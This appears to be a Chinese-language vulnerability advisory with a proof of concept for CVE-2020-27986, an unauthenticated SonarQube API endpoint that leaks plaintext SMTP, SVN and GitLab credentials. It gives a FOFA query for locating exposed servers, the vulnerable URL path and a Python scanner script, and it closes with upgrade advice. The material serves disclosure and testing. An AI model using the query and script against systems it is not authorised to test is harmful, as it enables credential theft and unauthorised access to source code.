漏洞描述

SonarQube是一个开源代码质量管理和分析审计平台,早期版本的SonarQube存在默认安全配置相关的问题,未经身份验证的攻击者可以通过访问某些API获取到明文的SMTP、SVN和GitLab凭据,利用这些泄露的信息可能导致攻击者非授权访问到软件源代码。

该漏洞在2020年10月被披露,编号为CVE-2020-27986,但厂商对此漏洞持有异议,认为是使用者的配置错误。


 
 

漏洞影响

SonarQube <=8.4.2.36762
 
 

漏洞复现

FOFA

app="sonarQube-代码管理"

主页如下



漏洞POC

http://xxx.xxx.xxx.xxx/api/settings/values



可泄露的为:明文SMTP、SVN和Gitlab等敏感信息

脚本

 

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# @usage   : python xxx.py -u http://example.com

import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class EXP():
    def __init__(self, args):
        self.name = '''CVE-2020-27986 SonarQube api 未授权访问'''
        self.url = args.url
        self.res = ""

    def _attack(self):
        path = '/api/settings/values'
        try:
            resp = requests.get(self.url+path, timeout=10, verify=False)
            if resp.status_code == 200  and 'application/json' in resp.headers['Content-Type'] and 'sonaranalyzer-cs.nuget.packageVersion' in resp.text and 'sonar.core.id' in resp.text:
                self.res = "存在漏洞!"
            else:
                self.res = "不存在漏洞!"
        except requests.exceptions.RequestException as e:
            print("目标连接错误....")



def parseArgs():
    parser = argparse.ArgumentParser(description="[Exp]!",formatter_class=argparse.RawDescriptionHelpFormatter)
    group = parser.add_mutually_exclusive_group()
    group.add_argument("-u", '--url', help="URL to scan; -u http://example.com")
    args = parser.parse_args()

    return args


def output(exp):
    print("##################################")
    print(f"Name {exp.name}")
    print(f"URL {exp.url}")
    print(f"RES {exp.res}")
    print("##################################")


if __name__ == "__main__":
    args = parseArgs()
    exp = EXP(args)
    try:
        exp._attack()
    except Exception as e:
        print(e)
        exp.res = "Error"

    output(exp)




 

处置建议

处置建议:将SonarQube升级到最新版。
https://github.com/SonarSource/sonarqube/releases